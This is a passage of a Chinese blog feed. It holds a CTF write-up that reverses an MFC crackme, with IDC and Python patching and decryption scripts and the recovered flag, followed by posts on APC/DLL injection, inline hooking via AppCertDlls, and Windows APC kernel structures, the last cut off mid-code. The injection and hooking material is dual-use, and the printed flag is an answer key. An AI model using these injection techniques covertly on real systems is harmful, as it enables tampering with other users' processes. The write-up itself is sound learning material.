    <content type="html"><![CDATA[<p>上上周末大病一场，直到周日才恢复的七七八八的，帮着学弟打了一场CTF，顺便就把很久以前都懒得坑的MFC逆向也给啃了，这里记录一下过程</p><span id="more"></span><h2 id="记一次mfc的逆向">记一次MFC的逆向</h2><h2 id="junk-instruction">Junk Instruction</h2><p><img src="/2019/04/26/MFC-first/mfc01.png" alt=""></p><p>从题目看出可能是和junk code相关的内容。这次我像往常一样直接瞎找函数，终于不奏效了（之前的时候真的神奇，MFC直接直觉断点居然能找到合适的函数。。）于是跟着网上的教程试着做了一次定位。</p><h3 id="定位函数">定位函数</h3><p>之前我找的时候都是瞎找，这个思路就不太对。。应该想办法找到<strong>当前控件的注册函数</strong>才对。控件上注册的函数一般来说都是关键的函数，这道题目中就是这个check button。<br>在MFC中有一个消息映射表的概念，其中代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">AFX_MSGMAP</span>&#123;</span></span><br><span class="line">    AFX_MSGMAP * pBaseMessageMap;</span><br><span class="line">    AFX_MSGMAP_ENTRY * lpEntries;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">AFX_MSGMAP_ENTRY</span>&#123;</span></span><br><span class="line">    UINT nMessage;    <span class="comment">//Windows Message</span></span><br><span class="line">    UINT nCode        <span class="comment">//Control code or WM_NOTIFY code</span></span><br><span class="line">    UINT nID;         <span class="comment">//control ID (or 0 for windows messages)</span></span><br><span class="line">    UINT nLastID;     <span class="comment">//used for entries specifying a range of control id&#x27;s</span></span><br><span class="line">    UINT nSig;        <span class="comment">//signature type(action) or pointer to message </span></span><br><span class="line">    AFX_PMSG pfn;     <span class="comment">//routine to call (or specical value)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中这个<code>AFX_MSGMAP_ENTRY</code>中的最后一个成员<code>AFX_PMSG</code>就是一个函数指针，指向了当前控件绑定的函数。同时，这个<code>nID</code>成员描述的是当前控件的ID，利用这个ID就能确定我们所寻找的控件。然后这个<code>AFX_MSGMAP</code>结构体则会记录一个指向<code>AFX_MSGMAP_ENTRY</code>的指针，于是查找控件的注册函数的思路可以缩小为:</p><ul><li>找到AFX_MSGMAP</li><li>找到控件的ID</li></ul><h3 id="寻找控件id">寻找控件ID</h3><p>这个过程挺容易找到的，只要利用工具<code>Resource Hacker</code>这个工具即可。将当前的MFC导入到HR中，然后便可检查其中各种控件的元素。从这个题目中我们能够找到如下的位置:</p><p><img src="/2019/04/26/MFC-first/mfc02.png" alt=""></p><p>这个地方写了这个<code>Check Button</code>对应的ID为1001，于是这个控件的ID我们就找好了</p><h3 id="寻找afx-msgmap">寻找AFX_MSGMAP</h3><p>这个地方需要一点技巧。注意到这个结构体的第一个成员是<code>AFX_MSGMAP * pBaseMessageMap</code>。这个成员会指向一个叫做<code>GetMessageMap</code>的函数地址，函数的内容很简单:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.text:0040FE48 GetMessageMap   proc near               ; DATA XREF: .rdata:0055174C↓o</span><br><span class="line">.text:0040FE48                                         ; .rdata:stru_57F674↓o</span><br><span class="line">.text:0040FE48                 mov     eax, offset off_551898</span><br><span class="line">.text:0040FE4D                 retn</span><br><span class="line">.text:0040FE4D GetMessageMap   endp</span><br></pre></td></tr></table></figure><p>就是将某一个<code>AFX_MSGMAP</code>的地址返回。同时当前的<code>AFX_MSGMAP_ENTRY*</code>往往会指向相邻的地址，因为内存中通常是如下排列的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">AFX_MSGMAP</span><br><span class="line">AFX_MSGMAP_ENTRY1</span><br><span class="line">AFX_MSGMAP_ENTRY2</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>利用这个几个特征，就能够写一个IDA的idc脚本。这里直接是用了参考博客中给出来的脚本:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;idc.idc&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="title function_">NotEndAddr</span><span class="params">(pAddr)</span>&#123;</span><br><span class="line"> <span class="keyword">auto</span> i=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">6</span>;i++)&#123;</span><br><span class="line">  <span class="keyword">if</span> (Dword(i*<span class="number">4</span>+pAddr)!=<span class="number">0</span>)</span><br><span class="line">   <span class="keyword">return</span> <span class="number">1</span>;  <span class="comment">//not end</span></span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;    <span class="comment">//reach the end</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="type">static</span> <span class="title function_">isMsgMap</span><span class="params">(checkAddr,startVa,endVa)</span>&#123;</span><br><span class="line"> <span class="keyword">auto</span> tmp1=Dword(checkAddr);</span><br><span class="line"> <span class="keyword">auto</span> tmp2=Dword(checkAddr+<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> pAddr=checkAddr+<span class="number">8</span>;</span><br><span class="line"> <span class="keyword">if</span> (tmp2==checkAddr+<span class="number">8</span>)&#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span>(NotEndAddr(pAddr))&#123;</span><br><span class="line">   <span class="keyword">if</span>(Dword(pAddr+<span class="number">20</span>)&lt;startVa||Dword(pAddr+<span class="number">20</span>)&gt;endVa)&#123;</span><br><span class="line"><span class="comment">//    Message(&quot;Invalid Addr at %0x.\n&quot;,pAddr);</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   pAddr=pAddr+<span class="number">24</span>;  </span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"> <span class="keyword">auto</span> startRdataVa=<span class="number">0x0044E880</span>;   <span class="comment">//the start addr of .rdata</span></span><br><span class="line"> <span class="keyword">auto</span> size=<span class="number">0x0000DAA8</span>;     <span class="comment">//the size of .rdata</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> startValidVa=<span class="number">0x00400000</span>;   <span class="comment">//check the addr is valid or not</span></span><br><span class="line"> <span class="keyword">auto</span> endValidVa=<span class="number">0x0046A000</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> i=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;size;i=i+<span class="number">4</span>)&#123;</span><br><span class="line">  <span class="keyword">if</span>(isMsgMap(i+startRdataVa,startValidVa,endValidVa))&#123;</span><br><span class="line">   Message(<span class="string">&quot;Found Possible MessageMap at %0x.\n&quot;</span>,i+startRdataVa);</span><br><span class="line">  &#125;</span><br><span class="line"> &#125;  </span><br><span class="line"> Message(<span class="string">&quot;Finish searching.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中的<code>startRdataVa, size, startValidVa, endValidVa</code>需要根据时机情况更改。此脚本能够找到几个类似的的地址，此时用我们之前提到的特征对其进行过滤:</p><ul><li>第一个地址指向的是pBaseMessageMap，也就是GetMessageMap，只会简单的返回一个地址</li><li>检查Entry的时候，能够找到我们ID对应的注册函数（分析的时候建议导入结构体分析）</li></ul><h3 id="分析逻辑">分析逻辑</h3><p>找到了消息处理函数之后，本来以为大功告成，后来发现里面塞满了junk code…好的把继续。</p><h4 id="junk-code">junk code</h4><p>点开函数，里面的基本 code 基本如下：</p><p><img src="/2019/04/26/MFC-first/mfc02.png" alt=""></p><p>这些call 然后 pop之类的，全部都是junk code，分析之后发现一个特征：当插入了junk code 为<em>22222222h</em>结尾的场合，下一句就是正确的代码段，所以这里利用这一个特点写了个py脚本patch（其实我觉得应该用IDApython好一点。。）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">fd = <span class="built_in">open</span>(<span class="string">&quot;Junk_Instruction.exe&quot;</span>,<span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">content = fd.read()</span><br><span class="line">nop = <span class="string">b&quot;\x90&quot;</span></span><br><span class="line">junk1 = <span class="string">&quot;E8 00 00 00 00 58 89 45 D8 E8 03 00 00 00 EA EB 09 5B 43 53 B8 11 11 11 11 C3 E8 07 00 00 00 BB 33 33 33 33 EB 0D BB 11 11 11 11 5B BB A1 2B 40 00 53 C3 BB 22 22 22 22&quot;</span>.split(<span class="string">&quot; &quot;</span>)</span><br><span class="line">junk1_byte = <span class="built_in">bytes</span>([<span class="built_in">int</span>(i,<span class="number">16</span>) <span class="keyword">for</span> i <span class="keyword">in</span> junk1])</span><br><span class="line">junk1_nop = <span class="built_in">len</span>(junk1) * nop</span><br><span class="line">content = content.replace(junk1_byte, <span class="built_in">len</span>(junk1) * nop)</span><br><span class="line">index = <span class="number">0</span></span><br><span class="line">spe = <span class="string">b&quot;\x22\x22\x22\x22&quot;</span></span><br><span class="line"><span class="keyword">while</span> content.find(spe, index)!=-<span class="number">1</span>:</span><br><span class="line">    index = content.find(spe, index) - <span class="built_in">len</span>(junk1) + <span class="number">4</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;find at %x&quot;</span>%index)</span><br><span class="line">    content = content.replace(content[index:index+<span class="built_in">len</span>(junk1)], nop * <span class="built_in">len</span>(junk1))</span><br><span class="line">    index += <span class="built_in">len</span>(junk1)</span><br><span class="line"></span><br><span class="line">fd.close()</span><br><span class="line">fd = <span class="built_in">open</span>(<span class="string">&quot;Junk_Instruction_.exe&quot;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">fd.write(content)</span><br><span class="line">fd.close()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>处理之后，逻辑就清晰了<br><em>最后吐槽一下，这个代码段我居然在网上找到了一摸一样的。。。</em></p><h4 id="最终处理">最终处理</h4><p>junk code去除之后，整体的逻辑就很简单了:</p><p><img src="/2019/04/26/MFC-first/mfc04.png" alt=""></p><p>整体逻辑翻译一下，伪代码大约如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">input</span> = GetInput()</span><br><span class="line"><span class="built_in">input</span>.reverse()</span><br><span class="line">key_str = <span class="string">&quot;qwertyuiop&quot;</span></span><br><span class="line"><span class="built_in">map</span> = [<span class="number">0</span>] * <span class="number">256</span></span><br><span class="line">GetMap(<span class="built_in">map</span>)</span><br><span class="line">UseMapGetInput(<span class="built_in">map</span>, <span class="built_in">input</span>)</span><br><span class="line"><span class="keyword">for</span> i,j <span class="keyword">in</span> <span class="built_in">input</span>, check_str:</span><br><span class="line">    <span class="keyword">if</span> i != j:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;ERROR!&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">        </span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;CORRECT!&quot;</span>)</span><br></pre></td></tr></table></figure><p>这个GetMap是一个用&quot;qwertyuiop&quot;和数字生成映射表的一个函数，但是这也就意味着<em>函数本身的内容是不变的</em>，与输入无关。并且之后的<em>UseMapGetInput</em>就是将map进一步映射，然后简单与input异或，所以我们可以用最简单的<em>复现算法</em>的方式，将这个input 的内容复现出来。脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">gen_map</span>(<span class="params">string</span>):</span><br><span class="line">    ans = [<span class="number">0</span>] * <span class="number">256</span></span><br><span class="line">    tmp = [<span class="number">0</span>] * <span class="number">256</span></span><br><span class="line">    v4 = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">        ans[i] = i</span><br><span class="line">        tmp[i] = <span class="built_in">ord</span>(string[i % <span class="built_in">len</span>(string)])</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">        v4 = (tmp[j] + v4 + ans[j])%<span class="number">256</span></span><br><span class="line">        v3 = ans[j]</span><br><span class="line">        ans[j] = ans[v4]</span><br><span class="line">        ans[v4] = v3</span><br><span class="line">    <span class="keyword">return</span> ans</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">GetAnswer</span>(<span class="params">maps, Input, length</span>):</span><br><span class="line">    index = <span class="number">0</span></span><br><span class="line">    <span class="built_in">sum</span> = <span class="number">0</span></span><br><span class="line">    ans = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(length):</span><br><span class="line">        index = (index + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">        <span class="built_in">sum</span> = (<span class="built_in">sum</span> + maps[index]) % <span class="number">256</span></span><br><span class="line">        v4 = maps[index]</span><br><span class="line">        maps[index] = maps[<span class="built_in">sum</span>]</span><br><span class="line">        maps[<span class="built_in">sum</span>] = v4</span><br><span class="line">        Input[i] ^= maps[(maps[<span class="built_in">sum</span>] + maps[index]) % <span class="number">256</span>]</span><br><span class="line">        ans.append(<span class="built_in">chr</span>(Input[i]))</span><br><span class="line">        result = i + <span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> result,ans</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    flag = [<span class="number">0x5B</span>,<span class="number">0xD6</span>,<span class="number">0xD0</span>,<span class="number">0x26</span>,<span class="number">0xC8</span>,<span class="number">0xDD</span>,<span class="number">0x19</span>,<span class="number">0x7E</span>,<span class="number">0x6E</span>,<span class="number">0x3E</span>, <span class="number">0xCB</span>, <span class="number">0x16</span>, <span class="number">0x91</span>, <span class="number">0x7D</span>, <span class="number">0xFF</span>, <span class="number">0xAF</span>, <span class="number">0xDD</span>, <span class="number">0x76</span>, <span class="number">0x64</span>, <span class="number">0xB0</span>, <span class="number">0xF7</span>, <span class="number">0xE5</span>, <span class="number">0x89</span>, <span class="number">0x57</span>, <span class="number">0x82</span>, <span class="number">0x9F</span>, <span class="number">0xC</span>,<span class="number">0</span>,<span class="number">0x9E</span>,<span class="number">0xD0</span>,<span class="number">0x45</span>,<span class="number">0xFA</span>]</span><br><span class="line">    maps = gen_map(<span class="string">&quot;qwertyuiop&quot;</span>)</span><br><span class="line">    res, ans = GetAnswer(maps, flag, <span class="built_in">len</span>(flag))</span><br><span class="line">    <span class="keyword">if</span> res == <span class="built_in">len</span>(flag):</span><br><span class="line">        ans.reverse()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;&#x27;</span>.join(ans))</span><br><span class="line">    <span class="comment"># flag&#123;973387a11fa3f724d74802857d3e052f&#125;</span></span><br></pre></td></tr></table></figure><p>基本上就能得到答案了。加上前面逆向可以才到需要再答案最外加上<code>flag&#123;&#125;</code>，于是可以得到flag</p><p><img src="/2019/04/26/MFC-first/mfc05.png" alt=""></p><h2 id="参考博客">参考博客</h2><p><a href="http://www.cnblogs.com/h2zZhou/p/10593168.html">http://www.cnblogs.com/h2zZhou/p/10593168.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上上周末大病一场，直到周日才恢复的七七八八的，帮着学弟打了一场CTF，顺便就把很久以前都懒得坑的MFC逆向也给啃了，这里记录一下过程&lt;/p&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="MFC" scheme="https://showlinkroom.me/tags/MFC/"/>
    
  </entry>
  
  <entry>
    <title>APCInjection</title>
    <link href="https://showlinkroom.me/2019/02/10/APCInjection/"/>
    <id>https://showlinkroom.me/2019/02/10/APCInjection/</id>
    <published>2019-02-10T12:38:28.000Z</published>
    <updated>2020-07-16T13:31:30.372Z</updated>
    
    <content type="html"><![CDATA[<p>自从上一篇<code>Windows APC</code>之后，对整个APC过程算是有了一个比较清晰的认识了。打算在这篇文章介绍一下如何实现<code>APC Injection</code></p><h2 id="more-apc-injection"><span id="more"></span><br>APC Injection</h2><p>之前在写<code>Windows Driver 初探</code>这篇文章的时候，我提到过说想要做一个<strong>当创建新的进程的时候，获取其创建时的函数调用链</strong>功能的模块。当时使用的是修改注册表的<code>AppCertDLLS</code>的思路，但是这个思路我后来发现会被很多程序绕过，于是这里打算采用APC Inject的方式来试一下。</p><h1 id="inject-hook">Inject/hook</h1><p>为了实现<strong>获取创建进程时，函数调用链</strong>这个思路，首先要意识到这个地方有两个步骤:</p><ul><li>为了能够得到调用链，需要hook对应的函数，例如<code>CreateProcess</code></li><li>要进入到<strong>调用进程创建的函数所在的进程中</strong>，这样才有机会去hook对应的函数</li></ul><p>也就是说，为了实现这个类似于<code>monitor</code>的功能，我们需要有两个模块共同工作，才有可能将当前程序中的CreatProcess给抓取下来。</p><h2 id="hook">Hook</h2><p>这个模块我在毕设的时候差不多也算是实现了，用了一个叫做<code>mhook</code>的库，可以实现一个<code>inline hook</code>的效果。</p><p><strong>inline hook</strong>:</p><p>原理非常简单，就是将当前函数的前五个字节修改成<code>jmp</code>指令，从而劫持程序流。具体为了组织函数调用，恢复上下文等，可能会有不同的处理方法。mhook会让当前的程序跳转到一个自己申请到的地址上，然后重新组织寄存器等，之后再跳转到我们自己程序中定义的函数，从而实现一次hook。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">function:hook:</span><br><span class="line">push espjmp  offset trampolin</span><br><span class="line">mov ebp, esp-----&gt;      </span><br><span class="line">sub esp, 20hxxxxx</span><br></pre></td></tr></table></figure><p>为了控制指令长度，<code>mhook</code>会使用一种叫做<code>trampolin</code>的技术，也就是<code>jmp</code>的地址并不是直接跳转到我们给出的函数地址(因为担心那个地址可能距离hook的函数过远，导致需要用到长跳转，此时5个字节内并不能完成)，而是跳转到一个自己申请的一个可读可写可执行的地址空间中，这个地址称为<code>trampolin</code>。跳转至<code>trampolin</code>后，再重新组织传参等问题，然后正式跳转到我们自己的函数上。</p><h2 id="injection">Injection</h2><p>当初实现Injection的时候，用的是之前提到过的<code>AppCertDLLS</code>。这是一个Windows的特性，就是说如果往注册表中的<code>HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls</code>中添加一个<code>dll</code>的路径，那么此时的dll将会在调用<code>CreateProcess，CreateProcessAsUser，CreateProcessWithLogonW，CreateProcessWithTokenW和WinExec</code>这几个函数的时候被自动加载。</p><p>这个思路最初我觉得没什么问题，但是测试了一段时间发现还是有一些根本问题的。最初做这个的时候，是想着要监控一些异常程序的，但是dll的注入的时机总是太慢了，导致捕捉不到调用链。于是这一次，打算使用<code>APC Injection</code>的方式试着写一个注入程序</p><h3 id="apc-injection">Apc Injection</h3><p>这个模块的关键在于，要在能够监控进程的启动。同时，启动之后要能够完成将带有<code>mhook</code>模块的程序加载————为了能够加载到其他进程中，最好的模块就是一个dll。因此，需要做到尽可能早的加载dll到目标线程。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;自从上一篇&lt;code&gt;Windows APC&lt;/code&gt;之后，对整个APC过程算是有了一个比较清晰的认识了。打算在这篇文章介绍一下如何实现&lt;code&gt;APC Injection&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;more-apc-injection&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="Injection" scheme="https://showlinkroom.me/tags/Injection/"/>
    
  </entry>
  
  <entry>
    <title>Windows APC</title>
    <link href="https://showlinkroom.me/2019/02/10/APC-Injection/"/>
    <id>https://showlinkroom.me/2019/02/10/APC-Injection/</id>
    <published>2019-02-10T09:49:19.000Z</published>
    <updated>2020-07-16T13:31:30.371Z</updated>
    
    <content type="html"><![CDATA[<p>这个话题是一个巨大的坑。我毕业设计的时候就想实现一个APC Inject，但是发现它那个好像存在一些缺陷，而后又听说存在一种内核级别的Inject，可以解决前者的缺陷问题，但是网上资料实在是少。自从上班之后，慢慢也习惯了读源码解决问题，而且机缘巧合之下得知原来Windows有开源部分的内核代码！于是打算用这个内容好好的研究一下这个</p><h2 id="more-windows-apc"><span id="more"></span><br>Windows APC</h2><p>Windows Apc是一个涉及到Windows 内核的一个话题，可以作为了解Windows内核机制的一个重要入口。</p><h1 id="apc-asynchronous-procedure-calls-异步过程调用">APC(Asynchronous Procedure Calls，异步过程调用)</h1><p>网上对于APC的文档似乎不多，微软官方的解释如下:</p><blockquote><p>APC表示在指定线程上下文中异步调用一个函数。当一个APC插入到线程的调用队列中时，系统将会发出一个软件中断。之后每当线程被挂起，它就会调用这个APC函数。由内核产生的APC称为内核态（kernel-mode）APC，而由用户应用调用的APC称为用户态（user-mode）APC。</p></blockquote><h3 id="apc与线程">APC与线程</h3><p>每一个线程都有自己的APC队列（APC queue），可以使用API<code>QueueUserAPC</code>从而将一个APC插入到线程的APC队列中。线程会调用<code>QueueUserAPC</code>中指定的函数。只有将一个APC放入了线程的APC队列中，线程才有机会调用对应的APC函数。</p><h4 id="与线程代码的关联">与线程代码的关联</h4><p>最初我认为APC应该是一种附加在Windows操作系统中的一个特性，但是查看了内核相关代码中后才发现，APC比我想象的还要和Windows底层关联密切：<br>查看线程对象，能够找到一些和APC相关的内容:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_KTHREAD</span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">union</span> &#123;</span><br><span class="line">        KAPC_STATE ApcState;</span><br><span class="line">        <span class="keyword">struct</span> &#123;</span><br><span class="line">            UCHAR ApcStateFill[KAPC_STATE_ACTUAL_LENGTH];</span><br><span class="line">            BOOLEAN ApcQueueable;</span><br><span class="line">            <span class="keyword">volatile</span> UCHAR NextProcessor;</span><br><span class="line">            <span class="keyword">volatile</span> UCHAR DeferredProcessor;</span><br><span class="line">            UCHAR AdjustReason;</span><br><span class="line">            SCHAR AdjustIncrement;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    KSPIN_LOCK ApcQueueLock;</span><br></pre></td></tr></table></figure><p>一个线程对象使用ApcState对象记录当前的Thread对象所依附的Process对象。同时，因为在Windowes中的线程不但能够依附在当前进程上下文，在特定的场合（例如创建新的进程的时候）可能会依附到另一个进程中，因此在每一个线程对象中，都包含两个指向<code>KAPC_STATE</code>对象的指针:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">    PKAPC_STATE ApcStatePointer[<span class="number">2</span>];</span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        KAPC_STATE SavedApcState;</span><br><span class="line">        <span class="keyword">struct</span> &#123;</span><br><span class="line">            UCHAR SavedApcStateFill[KAPC_STATE_ACTUAL_LENGTH];</span><br><span class="line">            CCHAR FreezeCount;</span><br><span class="line">            CCHAR SuspendCount;</span><br><span class="line">            UCHAR UserIdealProcessor;</span><br><span class="line">            UCHAR CalloutActive;</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> defined(_AMD64_)</span></span><br><span class="line">            BOOLEAN CodePatchInProgress;</span><br><span class="line"><span class="meta">#<span class="keyword">elif</span> defined(_X86_)</span></span><br><span class="line">            UCHAR Iopl;</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line">            UCHAR OtherPlatformFill;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p>在一般情况下，<code>ApcStatePointer[0]</code>指向<strong>当前进程上下文</strong>，而<code>ApcStatePointer[1]</code>指向备份的进程上下文。</p><h4 id="apc的调用时机">APC的调用时机</h4><p>当一个用户态APC插入队列后，线程只会在自己处在<strong>可警告状态（alertable state）<strong>之后才会进行调用。这个</strong>可警告状态</strong>是当进程调用<code>SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, WaitForSingleObjectEx</code>这几个函数的时候才会进入的状态。通俗的说，就是当前的进程进入一种类似于挂起的状态。如果在APC插入APC队列前，这个等待状态（也就是前文的可警告状态）结束了，则这个APC函数就不会被调用。不过相对这个APC过程就会在下一次线程进入等待状态时被调用。</p><p><em>PS: ReadFileEx, SetWaitableTimer, SetWaitableTimerEx, 和 WriteFileEx 函数中的回调函数，其实就是用APC过程来实现的</em></p><p>而具体插入一个APC，则可以通过如下的函数实现：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">NTSTATUS *<span class="title">NtQueueApcThreads</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ HANDLE ThreadHandle,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ PVOID ApcRoutine,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ PVOID ApcRoutineContext OPTIONAL,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ PVOID ApcStatusBlock OPTIONAL,</span></span></span><br><span 